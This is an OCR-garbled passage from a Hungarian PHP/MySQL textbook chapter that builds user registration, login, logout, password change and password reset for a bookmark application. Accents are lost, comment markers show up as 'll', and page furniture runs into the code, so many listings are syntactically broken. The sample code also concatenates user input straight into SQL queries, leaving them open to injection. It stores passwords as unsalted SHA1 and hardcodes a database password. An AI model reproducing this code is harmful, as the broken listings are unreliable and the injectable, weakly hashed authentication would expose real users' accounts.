color: #000000 l

<lstyle>
<lhead>
<body>
<img src="konyvjelzo.gif" alt="PHPbookmark logo" border="O"
align="left" valign="bottom" height="55" width="57" l>
<hl>PHPbookmark<lhl>
<hr l>
<?php
if($oldalcim)
html focim($oldalcim);

Lthatjuk, hogy a html_fejlec_letrehozasa() fggvny egyetlen feladata, hogy megfelel cmer s lblcet
adjon az oldalnak. Abejelentkezes. php fjlban hasznlt tovbbi fggvnyek ugyangy mkdnek. Az oldal_
info_megjelenit ese() fggvny nmi ltalnos szveget jelent meg az oldalrl, a bej elentkezesi_urlap_
megjelenitese () fggvny a 27.3 brn lthat szrke bejelentkezsi felletet hozza ltre, a html_lablec _
letrehozasa() fggvny lland HTML lblcet ad az oldalnak.
A PHP s a MySQL hasznlata nagy projektekben cm 25. fejezetben mr sz esett arrl, milyen elnykkel jr az, ha
a HTML elllrst elklntjk alkalmazsunk f mkdsi elvtL Ebben a projektben az AP I-s megkzeltst kvetjk.
A 27.3 brra pillantva ltszik,hogy az oldalon hrom vlasztsi lehetsget knlunk fel: a felhasznl regisztrlhat,re
gisztrlt felhasznlknt bejelentkezhet,illetve tllthatja jelszavr,amennyiben elfelejtette. Hogy elksztsk ezeket a modu
lokat, a felhasznli hitelesrst megvalst rsszel kell folytatni munknkat.

A felhasznli hitelests megvalstsa

27

Afelhasznli

hitelesrst megvalst modul ngy f elembl ll: felhasznlk regisztrlsa, be- s kijelentkezs, jelszvltoz
tats s j jelsz krse. A most kvetkez oldalakon egyenknt is megvizsgljuk ezeket az elemeket.

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

397

Felhasznlk regisztrlsa
Ahhoz, hogy regisztrlni tudjunk egy felhasznlt, egy rlap segtsgvel be kell krni az adatait, majd be kell vinni az adat
bzisba.
Amikor a felhasznl a bejelentkezes.php oldal Mg nem tag? hivatkozsra kattint, a 27.5 pldakdban lthat
regisztracios_ur lap. php ltal ltrehozott regisztrcis felletre jut.

27.5 pldakd: regisztracios_urlap.php-A Jelhasznlk ezen azrlapon regisztrlhatnak a PHPbookmark alkalmazshoz


<?php
require_once('konyvjelzo fuggvenyek.php');
htrnl fejlee letrehozasa('Felhasznli regisztrci');
regisztracios_urlap_megjelenitese();
html lablec letrehozasa();
?>

Megint csak egy nagyon egyszer kdot lrunk, ami semmi mst nem tesz, mint fggvnyeket hv meg a kimeneti_
fuggvenyek. php fjlban lv fggvnyknyvtrbL A 27.4 brn a kd ltal ltrehozott kimenetet lthatjuk.

Az oldalon lv szrke rlap a kimeneti_ fuggvenyek.php fjlban tallhat regisztracios _urlap_


megjelenitese () fggvny eredmnye. Amikor a felhasznl a"Regisztrls" gombra kattint, a 27.6 pldakdban lv
regisztracio_uj .phpkdhoz jut.

27.4 bra: A regisztrcisrlap az adatbzisba kerl Jelhasznli adatokat gyjti be.

Az elgpelst elkerlend ktszer kell a jelszt azrlapba bevinni.


27.6 pldakd: regisztracio_uj. php-A kd ellenrzi az j Jelhasznlk adatait, majd eltroija ket az adatbzisba
<?php

ll az alkalmazs fggvnyfjljainak beillesztse


require_once('konyvJelzo fuggvenyek.php');
//rvid vltoznevek ltrehozsa
$email=$ POST['email'];
$felhasznaloi_nev=$_POST['felhasznaloi_nev'];
$jlsz=$_POST['jlsz'];
$jlsz2=$_POST['jlsz2'];

ll indtsuk el a munkamenetet,
ll azrt most indtsuk el,

amelyre ksbb szksgnk lesz!

mert a fejlcek el kell kerlnie

session start();
try

ll kitlttt rlapok ellenrzse

27

398

27. fejezet

if (! kitoltott($

POST))

throw new Exception('Nem megfelelen tlttte ki az rlapot


krjk,

prblja meg jra!');

ll rvnytelen e-mail cm
if (1ervenyes_email($email))
throw new Exception('rvnytelen e-mail cm.
Krjk,

prblja meg jra!');

ll nem egyez jelszavak


if ($jlsz != $jlsz2)

throw new Exception('A megadott jelszavak nem megfelelk krjk,

prblja meg jra!');

ll jelsz hossznak ellenrzse


ll az nem baj,

ha a felhasznli nv csonkul,

ll de a tl hossz jelszavak srlnnek


if ((strlen($jlsz) <

6)

ll

(strlen($jlsz) >

throw new Exception('A jelsz hossznak


Krjk,

16))

6 s 16 karakter kz kell esnie.

prblja meg jra'');

ll regisztrci megprblsa
ll ez a fggvny is vlthat ki kivtelt
regisztral($felhasznaloi_nev,

$email,

$jlsz);

ll munkamenet-vltoz regisztrlsa
$_SESSION['ervenyes felhasznalo']

$felhasznaloi nev;

ll a tagoknak sznt oldalra mutat hivatkozs megjelenitse


html_fejlec_letrehozasa('Sikeres regisztrci');
echo 'A regisztrci sikerlt.

Knyvjelzk belltshoz krjk,

menjen

a tagoknak fenntartott oldalainkra1 ';


htm l_url letrehozasa('tag. php',

'Ugrs a tagok oldalra') ;

ll oldal befejezse
html lablec_letrehozasa();

catch (Exception $e)

html fejlec_letrehozasa('Hiba: ');


echo $e->getMessage();
html lablec_letrehozasa();
exit;

?>

Ez ebben az alkalmazsban az els kd, ami valamennyire sszetermek nevezhet. Azzal indul, hogy beilleszti az alkalmazs
fiiggvnyfjljait, majd elindt egy munkamenetet (session). (Regisztrlt felhasznl esetn munkamenet-vltzknt hozzuk

27

ltre felhasznli nevt, ahogy a Munkamenet-vezrls PHP-ben cm 23. fejezetben is tettk.)


A kd rdemi rsze a try blokkba kerl, ahol tbb felttelt is ellenrznk. Ha ezek brmelyike nem teljesl, a vgrehajts
a catch blokkba kerl (rvidesen ennek tartalmr is megvizsgljuk).
Ezt kveten ellenrizzk a felhasznl ltal bevirt adatokat. Irt a kvetkezkrl kell meggyzdnnk:

Felhasznli hitelests megvalstsa s szemlyre szabort tartalom megjelentse

399

Ki !ert-e tltve az rlap? Errl a kitoltott() fggvny meghvsval gyzdhetnk meg:


if (!kitoltott($ POST))

Ezt a fggvnyt mi magunk rtuk, az; adat_ellenorzo_fuggvenyek. php fjl fggvnyknyvtrban helyezkedik el.
Rvidesen rszletesebben is ttekintjk ezt a fggvnyt.
A megadott e-mail cm rvnyes-e? Ezt a kvetkez utastssal ellenrizzk:
if (ervenyes_email($email))

Ismt egy ltalunk rt fggvnnyel van dolgunk, amely

az;

adat_ellenorzo _fuggvenyek.php knyvtrban tall

hat.
A felhasznl ltal megadort kt jelsz megegyezik-e egymssal? Ezt a kvetkez feltteles utastssal ellenrizhetjk:
if ($jlsz

$jlsz2)

A felhasznli nv s jelsz hosszt is ellenrizni kell


if ( (strlen($jlsz)

<

az;

albbi urastsokkal:

6)

s
if ((strlen($jlsz) >

16)

A pldban a jelsznak legalbb 6 karakter hossznak kell lennie, hogy ne lehessen tl knnyen kitallni, a felhasznli
nvnek pedig 17 karakternl rvidebbnek kell lennie ahhoz, hogy befrjen

az;

adatbzisba. Vegyk szre, hogy a jelsz

maximlis mrett ily mdon nem korltozzuk! Nincs is rtelme, mert SHAl hashben troljuk, ami az; adott jelsz
hosszrl fggetlenl mindig 40 karakter hossz lesz.
Az irt hasznlt adatellenrz fggvny a kitoltott ( ) s az ervenyes_email (),ami a 27.7, illetve a 27.8 pldakd
ban lthat.
27.7 pldakd: Az adat_ellenorzo_fuggvenyek. php knyvtr kitoltott ()fggvnye- Ez afggvny ellenrzi, hogy
az rlap ki lett-e tltve
function kitoltott($urlap_valtozok)

ll ellenrizzk,

hogy minden vltoznak van-e rtke

foreach ($urlap_valtozok as $kulcs


if ( (! isset($kulcs))

ll

($ertek

> $ertek)

==

' ' ))

return false;

return true;

27.8 pldakd: Az adat_ellenorzo_fuggvenyek.phpknyvtr ervenyes_email ()fggvnye- Afggvny az e-mail


cm rvnyessgt ellenrzi
function ervenyes_email($email eim)

ll e-mail cm rvnyessgnek ellenrzse


if (ereg('A[a-zA-Z0-9 \.\-)+@[a-zA-Z0-9\-)+\. [a-zA-Z0-9\-\.)+$',

$email eim))

return true;
else

return false;

A kitoltott ( ) fggvny vltozk tmbjt vrja paramterknt; ez ltalban a$_POST vagy a $_GET tmb lesz. Ellen
rzi,hogy minden rlapmez ki van-e tltve; ha igen, akkor true, ellenkez esetben false rtker ad vissza.
Az ervenyes_email() fggvny

az;

ltalunk a 4. fejezetben kidolgozort regulris kifejezsnl valamivel sszetettebb kife

jezssel prbl meggyzdni az; e-mail cmek rvnyessgrL rvnyesnek tn cm esetn true, egybknt false rtkkel
tr vissza.

27

400

27. fejezet

A felhasznli adatok ellenrzse utn megprblkozhatunk a felhasznl regisztrlsvaL Ha visszalapozunk a 27.6 plda
kdra, lthatjuk, hogy a kvetkezkppen tettk ezt:
regisztral($felhasznaloi_nev,

$email,

$jlsz);

ll munkamenet-vltoz regisztrlsa
$_SESSION['ervenyes felhasznalo']

= $felhasznaloi_nev;

ll a tagoknak sznt oldalra mutat hivatkozs megjelenitse


html_fejlec_letrehozasa('Sikeres regisztrci');
echo 'A regisztrci sikerlt. Knyvjelzk belltshoz krjk,

menjen

a tagoknak fenntartott oldalainkra! ';


html_url_letrehozasa('tag.php',

'Ugrs a tagok oldalra');

ll oldal befejezse
html_lablec_letrehozasa();

A fenti kdbl ltszik, hogy a regisztral () fggvnyt a bevitt felhasznli nvvel, e-mail cmmel s jelszval hvjuk
meg. Ha meghvsa sikeres, a felhasznli nevet munkamenet-vltozknt rgztjk, s megjelentjk a felhasznlnak a tagok
foldalra mutat hivatkozst. (Hiba esetn a fggvny kivtelt vlt ki, arnt a catch blokkban kezelnk.) A kd eredmnyt
a 27.5 brn ltjuk.

......-

!jbol

......

_...."....

toMi

--:'t-:?

..

....
....
...
....

_. ---

PHPbookmark

Siket"U regisztrci

27.5 bra: Sikeres regisztrci; aJelhasznlfolytathatja a bngszst a tagoknakfenntartott oldalon.


A regisztral() fggvny a felhasznaloi_hitelesites _fuggvenyek. php nevbeillesztett knyvtrban tall
hat. A fggvny kdjt a 27.9 pldakdban lthatjuk.

27.9 pldakd: A felhasznaloi_hitelesites_fuggvenyek. php knyvtr regisztral ()fggvnye- Afggvny

megprblja eitroini az jJelhasznl adatait az adatbzisban


function regisztral($felhasznaloi_nev,

$email,

$jelszo)

ll j felhasznl regisztrlsa az adatbzisba


ll true visszatrsi rtk vagy hibazenet
ll kapcsolds az adatbzishoz
$kapcsolat = adatbazishoz kapcsolodas();

ll felhasznli nv egyedisgnek ellenrzse


$eredmeny = $kapcsolat->query("SELECT

FROM felhasznala

WHERE felhasznaloi_nev='".$felhasznaloi_nev."'");

27

if

(! $eredmeny) {
throw new Exception('A lekrdezs nem hajthat vgre');

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

if ($eredmeny->num_rows>0)
throw new Exception('A

401

felhasznli nv mr foglalt -

ll ha OK,

tegye be az adatbzisba

$eredmeny

vlasszon msikat!');

$kapcsolat->query("INSERT INTO felhasznalo VALUES


('".$felhasznaloi nev."',
shal('".$jelszo."'),

if (! $eredmeny)

'".$email."')");

throw new Exception('Nem sikerlt regisztrlni az adatbzisban


krjk,

prblkezzon ksbb!');

return true;

Igazbl semmi jdonsg nincsen ebben a fggvnyben; egyszeren csatlakozik a korbban ltrehozott adatbzishoz. Ha
a kivlasztott felhasznli nv mr foglalt, vagy az adatbzis nem frissthet, a kd kivtelt vlt ki. Minden ms esetben frissti
az adatbzist, s true visszatrsi rtket ad.
Figyeljk meg. hogy az adatbzishoz val tnyleges csatlakozst az ltalunk rt, adatbazishoz kapcsolodas () nev
_

fggvnnyel htjuk vgre. A fggvny nagy elnye, hogy egyeden helyen tartalmazza az adatbzishoz csatlakozshoz szksges
felhasznli nevet s jelszt. Ez azt jelenti, hogy ha mdostjuk az adatbzis jelszavt, egyeden fjlt kell megvltoztaeni az alkal
mazsunkban. Az adatbazishoz kapcsolodas () fggvnyt a 27.10 pldakdban lthatjuk.
_

27.10 pldakd: Az adatbazis_fuggvenyek.phpknyvtr adatbazishoz_kapcsolodas ()fggvnye- Ezzel afgg

vnnyel kapcsoldunk a MySQL adatbzishoz


<?php

function adatbazishoz_kapcsolodas()
$eredmeny

new mysqli ('localhost',

if (! $eredmeny)

'kj_felhasznalo',

'jelszo',

'konyvjelzok');

throw new Exception('Nem sikerlt kapcsoldni az adatbzisszerverhez');


else

return $eredmeny;

?>

A regisztrlt Felhasznlk a szoksos bejelentkezsi s Icijelentkezsi oldalon jelentkezhetnek be, illetve lphetnek ki. Ezeket
a felleteket hozzuk ltre most.

Bejelentkezs
Ha a Felhasznlk megadjk adataikat a bej elentkezes.php ltal megjelentett rlapon (27.3 bra), s elkldik ket,
a tag. php nev fjlba jutnak. A kd belpteti ket, s megjelenti a bejelentkezett Felhasznlk szmra relevns knyvjelz
ket. Ez a kd ll az alkalmazs tbbi rsznek a kzppontjban. A kdot a 27.11 pldakd tartalmazza.

l'

27

402

27. fejezet

27 .ll pldakd: tag.php

Az egsz alkalmazs kzpponijban ll kd

<?php

ll az alkalmazs fggvnyfjljainak beillesztse


require_once('konyvjelzo_fuggvenyek.php');
session_start();

ll rvid vltoznevek ltrehozsa


$felhasznaloi_nev
$jlsz

$ POST['felhasznaloi nev'];

$ POST['jlsz'];

if ($felhasznaloi_nev

&&

$jlsz)

ll megprblnak bejelentkezni
try

bejelentkezes($felhasznaloi_nev,

$jlsz);

ll ha megtallhatk az adatbzisban,
$_SESSION['ervenyes_felhasznalo']
catch(Exception $e)

regisztrljuk a felhasznli nevet


$felhasznaloi_nev;

ll sikertelen bejelentkezs
html feJlee letrehozasa('Hba:');
echo 'Nem sikerlt bejelentkezni.
Az oldal megtekintshez be kell jelentkeznie.';
html_url_letrehozasa('bejelentkezes.php',

'Bejelentkezs');

html lablec_letrehozasa();
exit;

html_fejlec_letrehozasa('Kezdlap');
ervenyes_felhasznalo_ellenorzese();

ll a felhasznl ltal elmentett knyvjelzk lekrse


f ($url_tomb

felhasznaloi_url lekerdezese($ SESSION['ervenyes felhasznalo']))

felhasznaloi_url_megjelenitese($url tomb);

ll menlehetsgek megjelentse
felhasznaloi_menu_megjelenitese();
html lablec_letrehozasa();
?>

A tag . php kd mkdsi logikja ismers lehet szmunkra: rszben a 23. fejezetben megismert elemeket hasznlja fel

jra.
Elszr is ellenrizzk, hogy a felhasznl a nyitoldalrl jtt-e - vagyis

az

imnt kitlttte-e a bejelentkezsi rlapot-,

majd megprbljuk belptetni:


f ($felhasznaloi nev

&&

$jlsz)

ll megprblnak bejelentkezni
try {

27

bejelentkezes($felhasznaloi nev,

$jlsz);

ll ha megtallhatk az adatbzisban,
$ SESSION['ervenyes felhasznalo']

regisztrljuk a felhasznli nevet


$felhasznaloi nev;

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

403

A bejelentkezes () nev fggvnnyel prbljuk meg belptetni a felhasznlt. A fggvnyt a felhasznaloi_


hitelesites_fuggvenyek. php knyvtrban definiltuk,s rvidesen megvizsgljuk a kdjt.

Ha a felhasznl sikeresen bejelentkezett,a korbbiakhoz hasonlan most is feljegyezzk a munkamenetet. Ennek rdek
ben az ervenyes_felhasznalo munkamenet-vltozban eltroljuk a felhasznli nevt.
Ha minden jl megy,ezt kveten a tagoknak fenntartott oldalt jelentjk meg a felhasznlnak:
html_fejlec_letrehozasa('Kezdlap');
ervenyes_felhasznalo_ellenorzese();

ll a felhasznl ltal elmentett knyvjelzk lekrse


if ($url_tomb

felhasznaloi_url_lekerdezese($_SESSION['ervenyes felhasznalo']))

felhasznaloi_url_megjelenitese($url_tomb);

ll menlehetsgek megjelenitse
felhasznaloi_menu_megjelenitese();

html_lablec_letrehozasa();

Ezt az oldalt is kimeneti fggvnyek segtsgvel hozzuk ltre. Figyeljk meg, hogy az oldal tovbbi fggvnyeket is hasznl:
a

felhasznaloi_hitelesites_fuggvenyek. php knyvtr ervenyes_felhasznalo_ellenorzese (),az url_

fuggvenyek. php knyvtr felhasznaloi_url_lekerdezese (),illetve a kimeneti_fuggvenyek. php knyvtr


felhasznaloi_url_megjelenitese () fggvnyt. Az ervenyes_felhasznalo_ellenorzese () fggvny

azt

ellenrzi,hogy az aktulis felhasznlhoz regisztrltunk-e munkamenetet.


Ez az olyan felhasznlk miatt szksges, akik nem pp az imnt jelentkeztek be,hanem pont a munkamenet kzepn
jrnak. A felhasznaloi_url_lekerdezese ( ) fggvny lekrdezi az adatbzisbl az adott felhasznl knyvjelzit,
a

felhas znaloi_url_ megjeleni tese ( ) pedig egy tblzatban megjelenti azokat a bngszben. Rgtn rszletesen is

megvizsgljuk az ervenyes_felhasznalo_ellenorzese() fggvnyt, a msik kettvel pedig a knyvjelzk trolsnl


s visszakeressnl foglalkozunk majd.
A tag. php kd a felhasznaloi_menu_megjelenitese() fggvny segtsgvel megjelenti a ment, s ezzel zrja
az

oldalt. A 27.6 brn egy, a tag. php fjl ltal ltrehozott mintaoldal lthat.

lt.ll ,..._

....

"*'"" ....

! :;

-.i.t-=.

PHPbookmark

Kezd61p

IIII.I.JIIMMI
---

27.6 bra: A tag. php kd meggyzdik rla, hogy a felhasznl bejelentkezett-e, visszakeresi s megjelenti knyvjelzit,

majd a men megjelentsvel vlasztsi lehetsget ad neki a bngszs folytatsra.


Vizsgljuk meg most kicsit kzelebbrl a bejelentkezes() s az ervenyes_felhasznalo _ellenorzese() fgg
vnyt! A bejelentkezes() fggvnyt a 27.12 pldakdban lthatjuk.
27.12 pldakd: A felhasznaloi _hitelesites_fuggvenyek. php knyvtr bejelentkezes() fggvnye- A fgg

vny sszeveti a felhasznli azonostkat az adatbzisban trolt adatokkal


function bejelentkezes($felhasznaloi_nev,

$jelszo)

ll felhasznli nv s jelsz sszevetse az adatbzissal


ll ha rendben van,

visszatrsi rtke true

27

404

27. fejezet

ll egybknt kivtelt vlt ki


ll kapcsolds az adatbzishoz
$kapcsolat = adatbazishoz kapcsolodas();
ll felhasznli nv egyedisgnek ellenrzse
$eredmeny

$kapcsolat->query("select

from felhasznala

where felhasznaloi nev='".$felhasznaloi nev."'


and jlsz

shal('".$jelszo."')");

if (!$eredmeny) {
throw new Exception('Nem sikerlt belptetni.');

if ($eredmeny->num_rows>O)
return true;
else {
throw new Exception('Nem sikerlt belptetni.');

Ahogy a kd mutaga, a bejelentkezes () fggvny kapcsoldik az adatbzishoz, s ellenrzi, hogy megtallhat-e ab


ban a megadorr felhasznli nv s jelsz kombinci. Ha igen, akkor true rtkkel tr vissza, ha pedig nem, vagy a felhasz
nli azonostkat nem sikerl ellenrizni, akkor kivtelt vlt ki.
Az ervenyes_felhasznalo_ellenorzese () fggvny nem kapcsoldik jra az adatbzishoz, ehelyett azt nzi
meg, hogy a felhasznl rendelkezik-e regisztrlt munkamenerrel- vagyis belpett-e mr. Ezt a fggvnyt a 27.13 pldakd
tartalmazza.
27.13 pldakd: A felhasznaloi_hi telesites_fuggvenyek.php knyvtr ervenyes_felhasznalo_
ellenorzese ()fggvnye- Afggvny azt ellenrzi, rendelkezik-e afelhasznl rvnyes munkamenettel
function ervenyes felhasznalo_ellenorzese ()
ll ellenrizzk,

hogy a felhasznl bejelentkezett-e,

if ( 1sset($ SESSION['ervenyes felhasznala'] ) )

s rtestsk,

ha nem!

echo "Bejelentkezve ".$_SESSION['ervenyes felhasznalo'] ." felhasznli


nven.<br l>";
else

ll nincsenek bejelentkezve
html focim_letrehozasa('Hiba: ');
echo 'Nincs bejelentkezve.<br l>';
html_url_letrehozasa('bejelentkezes.php',

'Bejelentkezs');

html lablec_letrehozasa();
exit;

Ha a felhasznl nincs bejelentkezve, a fggvny kzli vele, hogy az oldal megtekintshez be kell jelentkeznie, s felkinlja
neki a belpsi oldalra mutat hivatkozst.

Kijelentkezs

27

A 27.6 brn lthat menben szrevehettk a Kijelentkezs felirat hivatkozst, amely a kijelentkezes.ph p kdra
mutat. Ennek a fjlnak a kdjt a 27.14 pldakd tartalmazza.

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

27.14 pldakd: kijelent kezes.php-A

405

kd vget vet a felhasznl munkamenetnek

<?php
ll az alkalmazs fggvnyfjljainak beillesztse
require_once('konyvjelzo fuggvenyek.php');
session_start();
$korabbi felhasznala ; $ SESSION['ervenyes felhasznalo'];
ll eltroljuk,

hogy megllapthassuk,

be voltak-e jelentkezve

unset($_SESSION['ervenyes_felhasznalo']);
$eredmeny_megsemmisit

session_destroy();

ll html kimenet elkezdse


html_fejlec_letrehozasa('Kijelentkezs');
if (!empty($korabbi_felhasznalo))
if ($eredmeny_megsemmisit)

ll ha be voltak jelentkezve,

de most mr kijelentkeztek

echo 'Kijelentkezve.<br l>';


html url_letrehozasa('bejelentkezes.php',
else

'Bejelentkezs');

ll be voltak jelentkezve, s nem lehet ket kilptetni


echo 'Nem lehet kilptetni.<br l>';
else

ll ha nem voltak bejelentkezve, de valahogy erre az oldalra kerltek


echo 'Nem jelentkezett be,

gy kijelentkezni sem tud.<br />';

html_url_letrehozasa('bejelentkezes.php',

'Bejelentkezs');

html lablec letrehozasa();


?>

Ez a kd szintn ismersnek hathat. Ennek

az az

oka, hogy a fenti sorok a 23. fejezetben rt kdra plnek.

Jelszvltoztats
Ha a felhasznl a men Jelszvltoztats hivatkozsra kattint, a 27.7 brn lthat rlap jelenik meg bngszjben.

EN ....-----

1{_

. o" ..

..:-;;.;.;.;..;...;:;.;:..;::-=

:._.: t::Jl

PHPbookmark

Jelsz megvaltozutoisa
..
- ....... _

.Ir.:..
....,

l!iaalllll
-----

27
27.7 bra: A jelsze_valtoztatas_urlap. php

fjl ltal ellltott rlapon a jelszavukat vltoztathaljk meg a felhasznlk.

406

27. fejezet

Az rlapot a jelszo_valtoztatas_urlap.php kd lltja el. Ez

az

egyszer kd pusztn a kimeneti knyvtr fggv

nyeit hasznlja fel, gy rszleeesebben mosc nem foglalkozunk vele.


Az rlap elkldsvel a 27.15 pldakdban lthat jelszo_valtoztatas. php kdot hvjuk meg.
27.15 pldakd: jelszo_valtoztatas.php-A

kd megvltozialja a Jelhasznl jelszavt

<?php
require once('konyvjelzo_fuggvenyek.php'};
session start(};
html feJlee letrehozasa('Jelszvltoztats'};

ll rvid vltoznevek ltrehozsa


$elozo_jlsz

$_POST['elozo_jlsz');

$UJ_jlsz = $ POST['uj_jlsz');
$_POST['uj jlsz2');

$uj jlsz2

try

ervenyes felhasznalo_ellenorzese(};

if (1kitoltott($ POST}}

throw new Exception('Nem megfelelen tlttte ki az rlapot.


Krjk,

if

($uj jlsz

!= $uj_jlsz2}

prblja meg jra!'};

throw new Exception('Az j jelszk nem egyeznek meg.


A jelszvltoztats nem trtnt meg.};

f ((strlen($UJ jlsz} > 16}

l l

(strlen($uj jlsz} < 6}}

throw new Exception('Az j jelsz hossznak 6 s 16 karakter kz kell esnie.


Prblja meg jra!'};

ll prblkozs a jelszvltoztatsra
jelszo_valtoztatas($ SESSION['ervenyes felhasznalo'),

$elozo jlsz,

$uj jlsz};

echo 'A jelszt megvltoztattuk. ';

catch (Exception $e}

echo $e->getMessage(};

jelszo_urlap_megjelenitese(};
felhasznaloi_menu_megjelenitese(};
html lablec_letrehozasa(};
?>

A fenti kd

az

ervenyes_ felhasznala _ellenorzese (})fggvny segtsgvel ellenrzi, hogy a felhasznl be van-e

jelentkezve, a kitoltott (} fggvny hasznlatval meggyzdik arrl, hogy kitlttte-e a jelsz-vltoztarsi rlapot, illetve
ellenrzi, hogy a felhasznl mindktszer ugyanazt adta-e meg j jelszknt, s ez az j jelsz megfelel hosszsg-e. Ezek

27

egyike sem jdonsg szmunkra. Ha minden jl megy, a kd meghvja a jelszo_val toztatas (} fggvnyt az albbi for
mban:
Jelszo_valtoztatas($_SESSION['ervenyes felhasznalo'),
echo 'A jelszt megvltoztattuk.';

$elozo_jlsz,

$uj_jlsz};

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

407

A fggvny a felhasznaloi_hitelesites_fuggvenyek.php knyvtrban tallhat, kdjt pedig a 27.16 pldakd


tartalmazza.

27.16 pldakd: A felhas znaloi_hitelesites_fuggvenyek.php knyvtr jelszo_valtoztatas () fggvnye


A fggvny mdoslja az adatbzisban a Jelhasznl jelszavt
function jelszo_valtoztatas($felhasznaloi_nev,

$elozo jelszo,

$uj_jelszo)

ll az adott felhasznli nvhez tartoz jelsz megvltoztatsalelozo_jelszo -> uj_jelszo


ll visszatrsi rtke true vagy false
ll ha az elz jelsz rendben van,
ll cserlje a jelszt uj_Jelszo-ra, s trjen vissza true rtkkel!
ll eltr esetben vltson ki kivtelt!
bejelentkezes($felhasznaloi_nev,

$elozo_jelszo);

$kapcsolat = adatbazishoz_kapcsolodas();
$eredmeny = $kapcsolat->query("UPDATE felhasznala
SET jlsz=shal('".$UJ

jelszo."')

WHERE felhasznaloi nev =


if (!$eredmeny)

'".$felhasznaloi_nev."'");

throw new Exception('A jelszt nem lehetett megvltoztatni. ');


else

return true;

ll sikeresen megvltoztatva

A fggvny a korbban mr megismert bejelentkezes( ) fggvny segtsgvel ellenrzi, hogy a felhasznl ltal meg
adott elz jelsz helyes volt-e. Amennyiben igen, a fggvny csatlakozik az adatbzishoz, s az j rtknek megfelelen m
dostja a jelszt.

Elfelejtett jelsz visszalltsa


A jelszavak megvltoztatsn tlmenen azt a gyakori helyzetet is kezelnnk kell, arnikor a felhasznl elfelejti jelszavt.
Abejelentkezes. php ltal ellltott nyitoldalon lthatjuk az Elfelejtette jelszavt? felirat hivatkozst,

amely pontosan az ilyen helyzetbe kerl felhasznJk miatt szerepel ott. A hivatkozs az elfelejtett_urlap. php nev
kdhoz viszi a felhasznlt, ami a kimeneti fggvnyek hasznlatval megjelenti a 27.8 brn lthat rlapot.

_!?=

",
PHPbookmark

--

. -v::J;-1!:

Jetsz viaazaiHtasa

=-i..

27.8 bra: Az elfelejtett_urlap.php kd ltal megjelentett rlapon a Jelhasznlk jjelszt krhetnek, amit elkldnk nekik.
Az elfelejtett_urlap. php kd rendkvl egyszer- pusztn csak a kimeneti fggvnyeket hasznlja-, ezrt rszle
resen nem is foglalkozunk vele. Az rlap elkldse az elfelejtett_jelszo.php kdot hvja meg, ami mr sokkal rdeke
sebb szmunkra. A kdot a 27.17 pldakd tartalmazza.

27

408

27.fezet

27.17 pldakd: elfelejtett_jelszo.php -A

kd vletlenszer rtkre lllja t aJelhasznlje/szavt, s elkldi neki

e-mailben
<?php
require_once("konyvjelzo fuggvenyek.php");
html fejlee letrehozasa("Jelsz tllitsa");

ll rvid vltoznv ltrehozsa


$felhasznaloi_nev

try

$ POST['felhasznaloi_nev'];

$jelszo

jelszo atallitasa($felhasznaloi_nev);

jelszo_ertesites($felhasznaloi_nev,
echo

$jelszo);

'j jelszavt elkldtk e-mailben.<br l>';

catch (Exception $e)


echo 'Jelszavt nem lehetett tllitani - krjk,

html_url letrehozasa('bejelentkezes. php',

prblja meg ksbb!';

'Bejelentkezs');

html_lablec_letrehozasa();
?>

Lthatjuk, hogy a kd kt fontos fggvny segtsgvel ltja el feladatt. Ez a kt fggvny a jelsz o_a tallitasa () s
a jelszo_ertesites(). Vizsgljuk meg ezeket egyenknt!
A jelszo_atallitasa() fggvny vletlenszer jelszt llt el a felhasznl szmra, majd eltrolja az adatbzisban.
A fggvny kdjt a 27.18 pldakd tartalmazza.

27.18 pldakd: A felhasznaloi_hitelesites_fuggvenyek.php


Afggvny

knyvtr j elszo_atalli tasa ()fggvnye

vletlenszer rtkre lllja t aJelhasznljelszavt.

function Jelszo atallitasa($felhasznaloi nev)


ll a felhasznli nvhez tartoz jelsz vletlenszer rtkre llitsa
ll visszatrsi rtke az j jelsz,

hiba esetn false

ll vletlenszer sztri sz 6 s 13 karakter kztti hosszsgban


$uj Jelszo

veletlen szo eloallitasa(6,

if($uj jelszo == false)

13);

throw new Exception('Nem sikerlt j jelszt generlni.');

ll adjunk hozz egy O s 999 kztti szmot,


ll hogy valamivel biztonsgosabb legyen a jelsz!
$veletlen szam = rand(O,
$uj jelszo

.=

999);

$veletlen szam;

ll a felhasznl jelszavnak bellitsa az adatbzisban


ll hiba esetn false visszatrsi rtk
$kapcsolat = adatbazishoz_kapcsolodas();
$eredmeny

$kapcsolat->query("UPDATE felhasznalo
SET

27

Jlsz=shal('".$uj

Jelszo."')

WHERE felhasznaloi nev='".$felhasznaloi_nev."'");


if (' $eredmeny)

throw new Exception('Nem sikerlt megvltoztatni a jelszt.');

l else {

ll nincs megvltoztatva

Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse

return $uj_jelszo;

409

ll sikeresen megvltoztatva

A jelszo_atallitasa() fggvny vletlenszer jelszt llt el gy, hogy a veletlen_szo_eloallitasa() fgg


vny segtsgvel vletlenszeren keres egy szt a sztrban, majd egy O s 999 kztti vletlen szmot rak a vgre. A 27.19
pldakdban lthat veletlen_szo_eloallitasa () fggvnyt is a felhasznalc _hitelesites_fuggvenyek.
php knyvtrban talljuk.

27.19 pldakd: A felhasznaloi_hitelesites_fuggvenyek. php knyvtr veletlen_szo_eloallitasa ()

fggvnye

A fggvny vletlenszeren vlaszt egy szt a jelszavak ellltshoz hasznlt sztrbl

function veletlen_szo_eloallitasa($min_hossz,

$max_hossz)

ll a kt hosszsgi rtk kz es sz vletlen kivlasztsa a sztrbl


ll ez a sz a fggvny visszatrsi rtke
ll a sz vletlenszerv ttele
Sszo

';

'

ll ne felejtsk el az elrsi tvonalat rendszernknek megfelelen tlltani!


$szotar
$fp

'hungarian.txt';

@fopen($szotar,

if(!$fp)

ll az ispell sztr

'r');

return false;

$meret

filesize($szotar);

ll menjnk a sztr vletlenszer helyre!


$veletlen_hely
fseek($fp,

rand(O,

$meret);

$veletlen_hely);

ll vlasszuk ki a fjlban kvetkez,


while ((strlen($szo)
(strstr($szo,

<

$min_hossz)

megfelel hosszsg,

l l

teljes szt!

(strlen($szo)>$max_hossz)

l l

"'")))

if (feof($fp))
fseek($fp,

0);

ll ha a vgn vagyunk,

ugorjunk az elejre!

$szo

fgets($fp,

80);

